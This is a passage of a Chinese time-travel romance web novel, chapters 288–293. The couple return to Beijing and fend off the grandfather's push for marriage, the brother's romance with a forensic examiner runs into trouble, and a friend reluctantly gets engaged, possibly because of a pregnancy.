这个年代电视还是个稀罕物,县城极少数人家才有的奢侈品。但对楚隽来说自然不算什么。 三室套里就有一台彩色电视,二十寸的进口货,将近三千块钱。 但是安暖似乎并不喜欢。 如果在家,每天晚上七点看一下新闻联播,其他的时间,开都不怎么开。偶尔开着也是当背景板,完全没有兴趣的样子。 那些最近流行,风靡大街小巷的电影电视,不管是大陆的,港台的还是外国的,她都最多瞄两眼,兴趣缺缺。 安暖的宠辱不惊,楚隽都觉得自愧不如。 几个人找位置坐了下来。 邵静荷好奇地四下看,安暖看了几眼之后,就开始琢磨事情。 她之前天天琢磨怎么进公安局,现在进了,就天天琢磨怎么赚钱。 邵静荷扯了扯安暖的袖子:“暖暖,咱们要去跳舞吗?” “我不会啊。”难得安暖也有不会的时候:“你会吗?” “会一点点。”邵静荷手指捏出一点点空隙:“以前上班的时候,单位组织过。” 不过大家都挺含蓄,一般是男同志和男同志跳,女同志和女同志跳。 “那让冯大哥陪你跳。”安暖说:“冯大哥,你会跳舞吗?” 安暖知道,派出所里也是有各种文娱活动的,领导还管介绍对象呢。 冯向文单身,邵静荷也是单身,安暖倒不是想乱点鸳鸯谱什么,但既然是单身的男性朋友和单身的女性朋友,又觉得都是人品不错的朋友,相处一下也没什么不好。 冯向文爽快地就答应了。 他对安暖,也许有过模糊的一些心思,觉得这个邻家小妹妹不错。但之前,安暖身上有婚约,之后,就有未婚夫了。 他那点心思还没来得及说出来,就咽了回去。 虽然和楚隽打了一架,有一些不顺眼,但这两日的相处下来,也算是对他认可。 条件好,长得好,有能力,对安暖也好。 那也就行了。 有些话强行说出来,就没有意义了,反倒是连朋友都没得做。 有冯向文陪着,邵静荷就不怕了,两人就这么跳舞去了。 楚隽和安暖坐在下面,一边看,一边聊天。 “明天我们就要走了。”楚隽说:“明天回家,还有什么事情要办吗?” 这一趟走,千里迢迢,下一次回来,又要些日子了。 安暖想了想,摇了摇头。 “好像也没有什么事情了……”她掰着手指头:“房子租出去了……其他……” 安暖想了半天,她和家乡的关系,只有这个房子,房子租出去,就没有什么了。 所以她留在京市,适应得如此之快。 一个没有过去的人,无论在哪里,都能接受良好。 邵静荷本来挺不好意思,但是跳起来,跳得很开心,竟然舍不得走。 安暖坐了一会儿,看了看时间,想了想,上去找她。 这里离晚上过夜的招待所不远,她和楚隽先回去休息,让冯向文留下来陪她。 要是玩得晚了,明天她和冯向文也可以多睡一会儿,晚一点走。 但邵静荷立刻就不跳了。 “那不行。”邵静荷说:“你明天就要走了,我不跳了,晚上咱们俩再说说话。” 两个姑娘又一个被窝聊到半夜。 第二天一早,四个黑眼圈。 去店里取了邵静荷买的椅子竹框,又买了些早点,便打道回府。 回去的路上,楚隽开车带着安暖,冯向文开着带车邵静荷,不知道冯向文和邵静荷聊天没聊天,反正安暖睡得挺香的。 “真能聊,哪儿有那么多话可以聊啊。”楚隽看着安暖睡的头一点一点的,十分感慨。 这一次回了家,就没有再去什么地方了。 该送走的东西送走,该装上的东西装上,两人就出发了。 因为在村里为了找孩子的事情多耽误了两天,给派出所上课,又耽误了三天,两人一合计,别的地方也不去了,直接回京。 楚隽倒是有心带安暖多去几个大城市转一转。 比如沪市,比如深市,都是繁华大都市,逛一逛商场,买一买东西,长长见识也是好的。 但是安暖兴趣不大。 “还是回去吧,这些地方,等以后有时间再去。旅游不能走马观花,又累又玩不好。而且,学校的事情,单位的事情,我感觉我还挺忙的呢。” 楚隽说的这些地方,安暖都去过,只是不好说出来罢了。 “那也行。”楚隽说:“等我们结婚了,到时候休婚假,我们再好好出去玩玩,度个蜜月。” 楚隽想的可真长远。 楚隽又道:“可惜我不方便出国,不然的话,带你去国外转转。” 安暖,也兴趣不大。 一个明明那么能接受新事物的姑娘,却对新的科技,更发达的环境兴趣缺缺,实在叫人费解。 楚隽不知,安暖现在不时就算一算时间,再打听打听,看看大哥大什么时候才能出来。 别的都还好,没有移动电话,她是真难受。 回程的其他计划都取消了,但也没有日夜兼程。 两人轮换着开车,找城市住宿吃饭,到一个地方,便买点土特产。 终于,风尘仆仆,热热闹闹地回了京。 直接回了老宅大院。 正巧,这天大家都在。 第288章 催婚 楚家的人挺忙的,各有各的事业,想要凑一个大家都在的日子,得提前就招呼。 当然,就算提前招呼,也有些时候凑不上。这也没办法,还是得以工作为主。 楚隽早就打了电话,说了差不多到家的时候,王阿姨今天特意多准备了几个菜,等着他们回来一起吃。 翟老爷子最近人逢喜事精神爽。 本来,他一眼看着便喜欢安暖。 奈何楚隽和她看不对眼。 后来两人对眼了,感情也好了。但是他也知道,楚父楚母对她有些意见。 他们只是不说罢了。 因为楚隽和安暖之间还没到情比金坚的地步,所以他们不说,免得说了破坏家庭团结。 就像是楚母当时想的那样。 还不着急去反对,让他们先谈着。 年轻人谈恋爱的时候,是不能刻意阻止的,有时候越阻止,越坏事。 说不定谈着谈着,就有人被甩了呢,就不用父母去当坏人了。 没想到谈着谈着,现在感情更好了。翟老爷子洋洋得意,他们更不敢说什么,说了,老爷子身体要是气出个好歹,那就不孝了。 车开进大院,在小楼前面停下。 王阿姨正在门口浇花,赶紧迎了过来。 “小隽和暖暖回来了。”王阿姨说:“老爷子,翟大哥翟大姐,小琛,小隽和暖暖回来了。” 王阿姨主打一个公平。 一大家子都喊上了,一个都不缺。 两人从车上下来,开始搬货。 两个人都挺有计划的,买东西的时候,就一样一样的分好了。 哪些是给家里人的,那些是带给单位同事的,那些是给朋友的,都做了记号,分开来放。 不然到家搬一堆下来,挑走一部分,又哗啦啦的搬上车,多费事。 两人下了车,走到后备箱,一边念叨,一边往下拿东西。 翟老爷子也出来了,远远的看着,就很感慨。 老爷子形容的很准确:“这俩孩子出了一趟门,感情更好了。” 难怪别人说,夫妻俩合适不合适,要出去旅游一趟。 “看着是不错。”王阿姨扶着翟老爷子:“老爷子,说不定,您再要不久,就能抱上曾孙子了。” 四代同堂,想想就美。 翟琛也过来了,帮着一起把带给家里的各种礼物都拿了过去。 也没有什么特别珍贵,都是投其所好,买的各种特产,纪念品什么的。 王阿姨说:“饭菜已经好了,先吃饭吧,不然一会儿就凉了。边吃边聊,吃完饭,再来看礼物。” 众人到了餐厅。 翟老爷子坐在中间,安暖和楚隽,一人坐在一边。 老爷子最关心的,便是他一直想去看望,但是因为身体原因去不了的那些老朋友。 安暖这次一家一家的都去了,将他们的情况一个个的都说了。 虽然没有大富大贵,但总体来说,平安顺遂。 老爷子边听边想起自己的年轻时光,很是感慨了一番。 其他的,就是楚隽给东来县派出所讲课的事情,临时安排,但家里都夸他做的不错。 这是利民的事情,为人民服务,是个好事。 大事就这两件,其他就是些小事儿,趣事。安暖挑挑拣拣的说了,阖家欢乐。 吃着饭,翟老爷子突然道:“暖暖,你和阿隽相处了这段时间,感觉如何?” 这么突然? 安暖愣了一下。 翟老爷子笑道:“我看你们啊,感情不错。” 安暖不好意思的笑了一下。 确实是不错。 这只要有眼睛的都能看见。 他们俩现在是正经处对象的阶段。 出门有人没人喜欢手牵手,吃饭楚隽会给她夹菜,吃水果楚隽会剥皮往她嘴里送。 一切就是那么自然。 甜的人酸溜溜的。 “挺好的。”楚隽说:“爷爷,我和暖暖,都很喜欢对方。” 翟老爷子瞪了楚隽一眼:“没规矩,我问暖暖呢。” 安暖只好说:“很好。” “哈哈哈。”翟老爷子高兴道:“既然很好,那你们的婚事,是不是可以考虑了?” 老爷子真是打心底里一天都不想多等。 当然老人家的心情可以理解。 这个年纪了,虽然看起来没什么大病,但还能活多久呢,没有人知道。 所以老爷子着急,每一个长辈都是这样的心理。谁不喜欢亲眼看着子孙婚姻美满,家庭幸福,最好是儿女满堂。 翟琛这姻缘有点折腾,一时是指望不上了。 只有安暖和楚隽了。 但安暖有点迟疑。 这太快了。 她和楚隽认识,满打满算,也才一个多月呢。 她来到这个世界一个多月,未婚夫有了,住在一起了,睡在一张床上了,这进展已经快的很可怕了。 要是这就结婚,结婚了立刻生娃,真的太快了。她有点接受不了。 安暖为难的看了一眼楚隽。 楚隽立刻道:“爷爷,你这也太着急了。我和暖暖,我们俩才处了一个月呢。” “怎么,一个月还不够喜欢吗?” “够喜欢是够喜欢,但是……咱们俩也想多谈谈恋爱,多享受一下嘛。” 看不出来啊,楚隽还撒娇起来了。 楚隽一撒娇,老爷子也没了办法。 楚父楚母连忙帮腔了几句,将这事情圆过去。 安暖哄着翟老爷子开心,一边若有所思的看了看翟琛。 之前翟琛和的董紫莺两个人的感情你追我赶,闹的轰轰烈烈的。可惜后来就出了毒贩的事情,让他们无暇顾及。 后来,问了一下,翟琛说挺好的,问题解决了,他们也就没多问。以为他们正在处对象,或者在处对象的前期准备工作中。 可是今天看翟琛的状态,不是太好。 莫非他和董紫莺,没有顺利的在一起? 董紫莺那边出了什么问题,还是家里的原因? 不过现在团圆饭吃的和乐融融,安暖也不会提这个可能煞风景的问题。 只捡好的说。 吃完饭,给大家送了礼物,又聊了好一会儿,这才散了。 “明天要去局里了。”楚隽说:“暖暖,你看有没有什么要收拾的,休息一下,我们今天晚上去三室套住。” 开车不赶路,不累。 今天晚上多开一个小时过去,明天早上,就能多睡一个小时懒觉。 晚上的一个小时和早上的一个小时,可不是一个概念。 第289章 若一去不回,便一去不回 “好。”安暖想了想:“对了,你去看看你哥……感觉他今天情绪不太好,也不知道跟董法医怎么样了。” 翟琛和董紫莺的感情路,有点坎坷。 楚隽和翟琛的感情还是挺好的,亲兄弟,年纪一般大,父母又不偏心。小时候不争吃喝,长大不争家产,自然没有什么矛盾。 “我也有些担心。有些事情,大哥不好跟爸妈说,会跟我说,我去看看。” 楚隽去找翟琛了。 安暖其实也没有什么好收拾的,王阿姨找了过来,拽着她去了厨房。 王阿姨已经准备好了大大小小的饭盒,一个一个地跟安暖说。 “这是红烧肉,不是剩下的,是专门多做了,上桌前就给你分出来了。这饭盒里是土豆烧鸡,这里是辣炒小牛肉。”王阿姨说:“你们带回去放在冰箱里,明日拿出来一热,就是一顿饭。最多再做个青菜就行。” 安暖应着。 “好。” “这里是鸡蛋,还有一些干菜。这是今天下午才买的点心,你喜欢吃的那种。”王阿姨一一叮嘱:“还有一瓶豆腐乳,一瓶咸菜。煮稀饭的时候吃最好了。” 每次安暖和楚隽回来一趟,王阿姨都会准备各种吃吃喝喝。就好像他们马上要去一个荒凉贫瘠的地方去,马上要饿肚子一样。 可怜天下父母亲。 “好,我知道了。”安暖一个一个地应着。 其实她和楚隽在外面住,能吃的东西可多了。 可以在单位吃食堂,可以牵手下馆子,还有阿姨会上门,想吃什么提前跟阿姨说一声就行。两个人也不是甩手掌柜,一起做一顿简单的饭菜也是可以的。 不过家里的好意是要领的,孩子吃得开心,长辈看得也开心。 安暖和王阿姨一起,从厨房里收拾了不少东西,放上了车。 当然,他们这次从外面回来,也给王阿姨带了不少东西,虽然只是保姆,可在翟家,谁也没将她当外人。 收拾得差不多了,楚隽也从翟翟琛房间里出来了。 脸色倒是如常。 安暖也没着急问,和家人打了招呼之后,便上了车。 上车之后,安暖才忍不住问了。 “你哥和董法医,怎么样了?” 这两个,也是有故事的人啊。在他们忙忙活活的时候,肯定没少拉扯。 楚隽叹了口气:“董法医也是坎坷。她弟弟来单位闹过之后,也进去了。但都是小问题,进去也待不久,等他们出来,肯定还有的闹。因为他们毕竟是董法医的家人,大哥做事虽然有手段,但也要掂量顾忌。” 这种事情,想要动之以情是不可能的。有些人是劝不住的,不能讲道理。 解决方法无非是两种,一种是砸钱,一种是打人。 可眼下,砸钱心里不平衡,让董紫莺知道,也不会愿意。再说,人心不足蛇吞象,砸钱怕是没完没了,是个无底洞。 打人,就算董紫莺真的对他们没有感情,翟琛也不敢真的赶尽杀绝。 楚隽道:“大哥虽然跟董紫莺说了清楚,说要和她共进退,可他也清楚,爸妈那一关,不好过。董紫莺对大哥也不是一往情深,非他不可,自然也不可能两者一心,拼死不退。” 夸张了夸张了,楚隽这用的都是什么形容词? “我懂。”安暖说:“董法医能从大山里走出来,成为一名法医,她是个比普通人要优秀很多的人,不会轻易被爱情迷住眼。就算因为你大哥的追求和陪伴,她动了心,也不会为这小情小爱,放弃自己的前途和独立自主。” “嗯,我懂。”楚隽顿了顿,说:“你也是这样的人。” 安暖没想到楚隽会说出这样的话来,但是想想,确实是这一回事。 “是的,我和董法医,从某种角度来说,确实有相似之处。”安暖正色道:“我和她不同的地方大概是,我比她更坚定,比她更清醒。我和你在一起,就愿意倾心倾力,全心全意。若有一天不值得,就会抽身。” 有句话怎么说来着。 樱花树下站谁都美,我的爱给谁都炽烈。 恋爱脑不是不好,但要双向奔赴才行。 赴汤蹈火抓来的是金玉良缘才是圆满,若是一团败絮,那就是一场笑话。 “我知道。”楚隽说:“我懂你。” 董紫莺不差,但是安暖当然更好。 董紫莺,有些像是还没有完全成长起来的安暖,这感觉很奇怪,但就是如此。也许在诸多磨砺,十几年,几十年之后,她能像安暖一般。 楚隽道:“他们商议之后,最好的还是远远的离开。我哥走了关系,董法医不日即可出国进修,出去四年,四年之后……” “四年之后,可能会回来,可能不会回来。”安暖说:“我懂。” 别说现在这个年代,就是她那个年代,出国一去不回的人也有不少。 如今,国内的发展没跟上,外面的世界各种先进美好,董紫莺又要拜托家人,一去不回的可能性非常大。她有能力,肯吃苦,想要留下来并不难。 楚隽突然道:“暖暖,你想留学吗?如果你也想……” “不不不。”安暖连声道:“我不想。” “你……就真的一点不好奇外面的世界。我见你对外来品接受都很好,应该是个能接受新鲜事物的人。” “我对留学不感兴趣。”安暖笑了一下:“我想留在这里建设我的国家。楚隽,我相信,总有一天,而且不用多久,也许是十几年,也许是几十年,我们的国家就能日新月异,迎头赶上,重新回到世界之巅。” 而且这一天,他们都可以看到。 楚隽看着安暖侃侃而谈,心中涌上丝丝暖意。 他从来都知道,安暖是个有小爱,也有大爱的人。 有家,更有国。 楚隽道:“我不知道董法医会不会回来,我哥也不知道。不过他有心理准备,他跟我说了,若是董紫莺一去不回,他帮了她,也算是给这段感情一个交代。若是回来了,愿意和他在一起,四年一过,董法医的父母弟弟不可能还在京市纠缠。爸妈,他们也能高看一眼。” 这个年代的留学生还是稀罕的,算是度了一层金,董紫莺也就顺理成章地提升了自己的身份。 第290章 订婚宴 除非是落难时相遇,不然门当户对永远是要考虑的。 安暖道:“你哥不容易,董法医也不容易。能暂时离开一段时间,当然是最好的。等四年之后,她若真的回来,说不定真能成你嫂嫂。” “不是我嫂嫂,是我们的嫂嫂。”楚隽很有自信:“现在我们才来往一个月,结婚自然太早。但等董法医回来,四年,我们肯定已经结了婚,说不定,已经有孩子了。” 四年,安暖非常理性的想了想,点头认可。 她和楚隽的感情现在进展顺利,他们俩都没有出国留学的打算,都会留在京市。只要不出意外,谈个一年半载,就会结婚。 她还年轻,不会那么早要孩子,肯定会以事业为重。 但是三年,也差不多了。 结婚生孩子,正常的人生规划,安暖也没有打算标新立异,特立独行。 回了三室套,放下东西,安暖往沙发上一瘫,很自然的说了一句:“终于回家了。” 楚隽看着她,笑道:“还是家里舒服吧?” “那可不……”安暖顺口回答了一句,说了之后,才觉得有点不对劲。 这虽然是楚隽的房子,可是在她心里,已经当做自己家了。 比起东来县那个家,更加让她有一种家的感觉。 楚隽坐在安暖身边,伸出手来。 “有些累了,抱一会儿。” 安暖笑了下,凑过去。 虽然已经十一点多了,但明天不是正常上班,只是去报到走个流程,不比卡点早到,今天,也就不必睡得那么早。 两人出门这些日子,颇有种回到自己小家的感觉,自然要好好地亲昵一番。 最终,楚隽遗憾道:“我之前买这房子的时候,总觉得买大点,住得舒服。现在却有点后悔了,还是你那屋子好。” “有什么好?” “只有一个房间。”楚隽坦然道。 虽然是有两个房间,但只有一个房间的床上有被褥,这和只有一个房间没有什么区别。两个人可以抱着睡。 现在回来了,再找不到理由了。 “楚队长,你克制点吧。”安暖推开楚隽的大脸:“咱们还没有结婚,先好好享受谈恋爱的过程。结了婚以后,有你受累的时候。” 这都说的是什么虎狼之词。 楚隽经常是撩人不成,反被撩得面红耳赤。 回了家,安暖总算在自己房里,洗了个舒服的澡。 换上睡衣,躺上了自己已经睡习惯的床。 由奢入俭难啊,这好日子过习惯了,一下子回到县城,真是不习惯。 第二天,两人没睡懒觉,也没有起太早。 八点半,两人洗漱出门。 去了常去的早点摊位,吃了早饭,这才回家。 平时不着急的时候,是可以走路过去的。但今天不行,他们要带很多东西过去。 一个办公室的,不同办公室的,上上下下,认识的都要送点礼。 这是人情世故,但也不单单只是人情世故,这是礼尚往来。 楚隽和安暖回到局里,引起一阵轰动。 大家都知道这一次楚隽长假出门,是去安暖老家的。 虽然安暖父母已经不在,但楚隽陪着去这一趟,算是过了明路,两个人的婚事,就算是定了大半了。 如今看着两人大包小包地进来,有一种感情更上一层楼的意思,都知道这婚事,更是稳了。 楚隽这身家长相,一直是风靡万千少女的梦中情人,如意郎君首选。如今,花落安家了,众人在感慨的同时,也都收了心。 人家是没出生就有的婚约,比青梅竹马还名正言顺,如今出双入对,郎才女貌,可算是天作之合。 楚隽带着安暖,带着礼物,去了局长办公室。 局长笑眯眯的,对安暖表示了欢迎。 人才嘛,哪个领导不喜欢呢? 虽然安暖现在学历不够,可他也看了她做的那些卷子。 当时局长就说:“果然是个好苗子,以前肯定是被家里条件不好耽搁了,假以时日,定当出类拔萃。” 局长看得可长远了。 当一只狼还是个小狼崽子的时候,能扒拉来自己家,就要扒拉来自己家。 要是因为遵守迂腐的条条框框讲人推了出去,等她羽翼丰满,出类拔萃,再想往回扒拉。那可就没那么容易了。 局长能成为局长,可不傻。 让安暖破格入职,又能储备一个人才,又能卖楚隽一个面子,何乐而不为。 “我就等着,喝你们的喜酒了。”局长哈哈笑道:“小安同志,如果楚隽有什么欺负你的地方,你尽管跟我说,我替你撑腰。” 楚隽无奈。 “我不敢。”楚隽说:“林局,我哪里敢有什么欺负她的。若是有,不等你出手,就被爷爷打死了。” 局长哈哈大笑。 有这么个老神仙压着楚隽,局长十分满意。 不然太厉害的年轻人,容易飘。 两人送了一圈礼,也算楚隽带安暖认了一圈人,变回去了。 下周一,就正式入职了。 平时的周日,两人都会出去转转。 有车,远一点的地方可以去。就算不走远,也会去吃点好吃的,逛个商场,看个电影什么的。 但这刚出远门回来,哪儿都不想去,便在家里待着。 腻腻歪歪的两个人,就是只在房间里待着,也能待得住。 “对了,明天晚上,要陪我出去一趟。” “干什么去?” “参加朋友的订婚宴。” “订婚宴?”安暖一下子盘腿坐了起来:“谁的,我认识吗?” “认识。”楚隽说:“是向浩然。” “向浩然?”安暖更吃惊了:“他要订婚了?这么快,跟谁,那个他喜欢,但是喜欢你的姑娘?叫什么来着……宋,宋又菱?” 别看安暖才来京市一个多月,这一个多月可发生了很多事情。 案子就不说了,就是各种围绕楚隽展开的爱恨情仇,就够回忆好几天了。 向浩然是个脑回路惊人的,因为自己喜欢的姑娘喜欢楚隽,宁可牺牲自己来追求安暖,差一点就把安暖给吓傻了。 后来,这事情说清楚之后,也不知道他有没有对宋又菱展开追求。 但凡他能用追自己的劲头去追宋又菱,也不是全无希望。 第291章 勉强的幸福 安暖用充满希望的目光看向楚隽。 可惜,楚隽说:“不是宋又菱。” “不是宋又菱,那是什么人?”安暖想了想,觉得有点不可思议:“这也不对啊,他追求宋又菱的事情才多久,大半个月?这就和别人订婚了,移情别恋也不能移得那么快吧?” 向浩然对宋又菱那么喜欢,追了三天就放手了? “嗯,差不多吧。”楚隽说:“家族联姻。新娘叫郎若璃,是和向浩然差不多的人家。他们订婚这么快,不用说,这门婚事就是两家父母都看中了对方,两家孩子只要没有强烈反对的,就可以订婚了,自然是快的。” 夜长梦多,多则生变。 安暖脑子里顿时出现了许多书名。 集中一下,总体意思就是,霸道总裁的故事。 她来了兴趣:“你们这样的人家,是不是大多要联姻?强强联手,做大做强。” “当然不是。”楚隽正经说:“强强联手,那是长辈美好的愿望。不能说这愿望有什么错,毕竟千百年来,门当户对都是人们对婚姻的一个合理要求。但是,感情不是讲道理的事情,感情的事情,怎么可能都按计划来呢?” 有联姻的,自然也有不联姻的。 楚隽道:“如果向浩然能追到自己喜欢的姑娘,只要有个差不多,家里也不会反对。但如果没有,估计就娶谁都一样了。” 安暖点了点头,总结。 “先婚后爱,也很香。” 楚隽竟然也同意。 他觉得自己和安暖,又怎么不算先婚后爱呢。 “不爱也没事。”安暖又补充了一句:“婚后举案齐眉,以礼相待,也可以。” 婚姻里,有无数种相处方式。 爱是一种,不爱也是一种。 只要别伤害就行。 对此,楚隽的回应是:“小小年纪,一副爱情专家的模样。” 好像年纪轻轻,就一把年纪了。 “我就是爱情专家。”安暖抱着胳膊,非常有老学究的气质。 感慨完向浩然的订婚,两人又商议着,还是出了一趟门。 参加订婚宴,送礼金归送礼金,楚隽和向浩然私交那么好,还需要送个礼物。 如今他和安暖的关系也算定了下来,要以两人的名义,给向浩然和他未婚妻,送一份订婚贺礼才好。 楚隽开始还想着参考一下安暖的意见。 “你觉得送什么好?” 安暖说:“送一块搓衣板吧。” “……” 楚隽决定,还是自己看着买吧。 反正送礼,就是个意思。不用多特别,只要档次够他们的关系就行。 “对了。”楚隽说:“向浩然的订婚宴是西式的晚宴,要穿得正式一点,明天下午,我再让我妈那个化妆师过来,给你化个妆,做个头发。” “这么正规?” “可不是。” “老宅那边,我那还有两套没穿的礼服呢,早知道就带过来了。”安暖想想:“要不然回去取?” 她上辈子就是个普通人,也没机会去什么穿衣服的场合。 如今才发现,麻烦。 穿着就是端着,而且那些衣服都挺贵。贵就贵吧,还不能重复穿。 京市上层就那么大一个圈子,低头不见抬头见,很多场合里见到的人都是重复的。 要是一件礼服穿两次,再被看见了,就会有人嘀嘀咕咕的,说闲话了。 安暖虽然没有那么多讲究,但是入乡随俗,她跟着楚隽出去,不仅仅是楚隽的面子,还是翟家的面子,自然要注意。 这也是楚隽母亲没有强烈反对的一个原因。 安暖,虽然从乡下来。但是上得了台面,带得出去。 向浩然的订婚宴在京市一家豪华酒店,门口铺着红毯,摆着红白两色的玫瑰花。 安暖和楚隽下车,便看见他一身白色西装,一旁,站着个穿白色礼服的年轻姑娘。 姑娘不如宋又菱漂亮,但是也挺漂亮。 年轻姑娘,打扮一下,就没有丑的。 两人过去,送上贺礼。 向浩然握了握楚隽的手,又看了一眼安暖。 千言万语,万语千言。 可现在不是说话的时候。 安暖今日总觉得有些不安心,好像要发生什么事情一样。 好在一切顺当,订婚宴平稳进行,向浩然和新娘子挽着手站在一起,也是郎才女貌,受到了大家无数的赞美。 最后,送客的时候,向浩然又握住了楚隽的手。 “晚上咱们再聚聚。” 楚隽点了点头。 “老地方。” 这说话的声音很小,只有靠得近的才听见。 郎若璃正在一旁和姐妹说话,也没注意。 出了酒店,安暖说:“你晚上是不是要和楚隽聚聚?要不然我先回去?” 看得出来了,向浩然这桩婚事有点赶鸭子上架的勉强,估计要趁着还没结婚,跟好兄弟喝两杯,诉诉苦,抱头哭一哭。 安暖跟向浩然不是兄弟,可不想看他一把眼泪,一把鼻涕哭得丧心病狂。 等明天酒醒,他要是一想自己的丑态被看光了,也不知道会不会记恨在心,杀人灭口。 “一起去吧。”楚隽说:“那地方你去过的,落日酒吧。也不止我和向浩然两个人,上次你见过的隗文博,朱承翰,他们都在。” 他们几个是小团体,看来经常聚在一起吹牛。 安暖还是有点犹豫。 但是她再一想:“也行。今天向浩然心情不好,估计要拉着你们喝酒。你们随便喝,到时候我可以开车一个个送回家。” 这年代也没个代价,虽然可以叫人接送,总不方便。 “你真体贴。”楚隽笑道:“我不是这个意思,他们酒吧有会开车的服务生,喝多了是可以送客人回家的。主要是酒吧那地方,总给人不正经的感觉。你一起去,我觉得比较好。” 楚隽竟然想得那么周到长远。 这是让安暖去盯着呢。 “我相信你。”安暖说:“你想太多了。” 人啊,想做坏事的,盯也盯不住。老老实实的,根本不用盯。 “我当然知道你相信我,但我还是想让你跟着。”楚隽一本正经地说:“放心,不会太晚的。明天要上班,也不会喝醉的。” 第292章 不得不娶的理由 楚隽如此邀请,安暖也就跟着去了。 楚隽的这些朋友虽然和她没有什么交集,但是她也不讨厌。 除了之前的向浩然给她带来了一些困扰之外,其他的朋友都是不错的。看在楚隽的面子上,对她不管是有轻视,还是没轻视u,反正都没有表现出来。 安暖转念一想。 他们这群人在一起的时候,会聊起京市里的生意,也会聊一聊时局。有些普通人很难知道的内情,都会聊出来。 她不插嘴,但在一旁听着,有时候也受益匪浅。 工作的事情搞定了,学历的事情也差不多了,如今就是要赚钱了。 这几件事情都是可以齐头并进往前推的,不必一桩做完了,再做另一桩。 到了落日酒吧,还是之前的包厢。 大家陆续都来了,安暖还是要了瓶可乐。 可乐是个好东西,在自己没有长胖的迹象之前,还是可以放心大胆喝的。 前面几次见面,大家对她都还生疏一些,叫她小安。 现在不一样了,现在楚隽是以未婚夫的身份,大大方方的带安暖出来了,大家便玩笑地称呼她一声嫂子。 “嫂子来了。”朱承翰笑道:“好久不见。” “好久不见。”安暖跟他打招呼。 打完招呼,找个地方坐下,从包里掏出一本书。 朱承翰过去看了看,捂着眼睛走了。 这是从法医市拿来的书,彩色的。安暖正在看的那一页,讲述的是如何区分死者是上吊死亡,还是死后被人挂上绳子。 有图片,有真相。 “你们夫妻俩太可怕了。”朱承翰说:“真是什么锅配什么盖啊,三少,真难为你能找到嫂子。” 甚至有人开始的时候,觉得安暖之所以会选择这份职业,就是想要接近楚隽,投其所好。 但楚隽这个职业,可不是咬咬牙能接近的。必须真心喜欢才行。 “这就叫缘分。”楚隽得意扬扬:“我们,就是天定的缘分。” 之前有多嫌弃,现在就是有多稀罕。 “你们不用管我,聊你们的。”安暖摆摆手:“我看书,过些日子还要考试呢。” 正聊着呢,向浩然终于来了。 向浩然进门的时候还穿着西装,进门之后,便三两下就扯下领带,又扯开西装扣子,反手将沙发丢在沙发上。 然后抓了一把头发,将用发胶打理的整整齐齐的头发给抓得乱七八糟。 一看,就不是正经的新郎官。 众人招呼他,并且让出来沙发正中间的位置:“来了,过来坐。” 向浩然坐下,也不管是谁的,拿起桌上的酒杯,喝了一大口。 安暖虽然对向浩然一点兴趣都没有,但也觉得向浩然的情况有些奇怪,看了一眼。 真颓废。 看来这桩婚事,让向浩然非常郁闷,过不了一会儿,就能看见她和楚隽抱头痛哭的场面了。 可惜了,这个年代没有手机,拍不下精彩的画面。 安暖看了看腰间的BB机,叹了口气,她还得过多少年,才能用上手机啊?好想念。 但是她又安慰起了自己。 好歹自己只是穿越到了八十年代,不但还有个BB机,而且过几年还能用上大哥大,有生之年,还能用上智能手机。 那些穿越到古代的,可是这辈子都用不上了。 安暖这么一想,心里平衡了。 楚隽聊着,不由地看了一眼坐在一旁看出的安暖。 正好看见安暖若有所思的一笑。 看法医书籍能看笑出来的人,确实也是凤毛麟角,就连他也不太笑得出来。看样子,安暖是真喜欢啊。 向浩然的声音,拉回楚隽的心思。 朱承翰道:“浩然,你今日订婚,是喜事。怎么回事,这么颓废?” “哎。”向浩然叹了一口气:“别提了,你们看我这订婚,订得开心吗?” 众人都说不出话来。 “你这是怎么回事?”楚隽道:“你也不是个那么听家里话的人啊,要是不喜欢,怎么就订婚了?” 在向浩然没来的时候,他们也聊了一下郎若璃。 郎若璃不在他们的交友圈子里,不过也知道郎家,知道郎家有这个小姐。 京市就这么大,能让向家愿意联姻的,自然不差,名声也不小。 向浩然皱紧了眉头。 “怎么了?”楚隽道:“有什么为难的?莫非你是被逼的?” 要是被家里人逼的,那没什么好说的,既然向浩然妥协了,就得认。 但若是被别人逼的,就是另外一回事了。 楚隽这一群人,谁也不能眼睁睁地看着自己兄弟吃亏受委屈。 都是群胆大包天的人,虽然已经订婚,但是还没结婚,翻脸还来得及。就算是结婚了,那也能离。 向浩然道:“我早就想找你们出来,但是在这之前,我被我爸关起来了,房间里电话线也拔了,一直到订婚宴才放我出来。今天晚上,我也是偷溜出来的。” 众人一听,竟然如此。 这才说得通。 以向浩然的性格,没道理在自己不想结婚的前提下,委委屈屈的就结了。而不是自己对付不了,找兄弟出谋划策啊。 除非是不把他们当兄弟了。 安暖虽然眼睛还盯着书,但谁不爱八卦,这会儿耳朵已经竖了起来。 热闹,听听。 朱承翰道:“你爸这次决定这么大啊,有什么缘故呢?那么喜欢郎家那小姐?我家也和郎家有过来往,虽然条件不错,但也不至于这么夸张吧?” 向浩然哼了一声。 “我怀疑,我被设计了。” “怎么说。” 安暖脑子里,闪过今天在订婚宴上的一幕一幕,突然,心里有个念头一动。 郎若璃穿着一件稍微有些宽松的衣服,化的妆容很淡。她没有喝酒,穿的不是拖地的礼服,走路坐下的时候,却都有人在一旁扶着。 莫非是她怀孕了。 所以这场订婚宴办得那么着急,所以向浩然不得不娶。 而且,订婚宴上也宣布了,正规的婚礼,也就在近日。 一般来说,像楚隽,像向浩然这种人家,婚事是大事,不会那么仓促的,要准备的东西会很多。没有半年,都准备不好。 哪里就这么着急? 第293章 走错门睡错人 安暖正在面无表情地用脑子八卦吐槽呢,突然,向浩然停了一下。 怎么不说呢? 安暖条件反射的侧脸看了过去。 这一看,就尴尬了。 向浩然正好也看了过来,视线在空中碰撞。 安暖差一点就老脸一红,有一种背后蛐蛐人,说人八卦被正主逮个正着的感觉。 虽然她其实没开口,只是在心里蛐蛐的。 安暖正打算若无其事的将视线放回书上去,向浩然主动开口:“小安,要不然你也过来听一下?” “不了。”安暖说:“我看书,你们聊。” 这不是什么光彩的事情,安暖觉得自己和向浩然其实没有那么熟。 “我想听听你的意见。”向浩然说:“你是女生,也许和我们想的不一样。” 向浩然今晚是主角,还是一个悲伤的主角,他都开口邀请了,安暖也就不好再拒绝了。 她只好放下书,拿起可乐,走了过去。 楚隽坐的是一旁的单人沙发,见安暖走过去,便非常自然地起了身,拍了拍。 安暖坐到了楚隽刚才坐的位置,楚隽坐在沙发扶手上,手搭在她肩膀上。 特别自然,特别协调。 看的大家又叹了一口气。 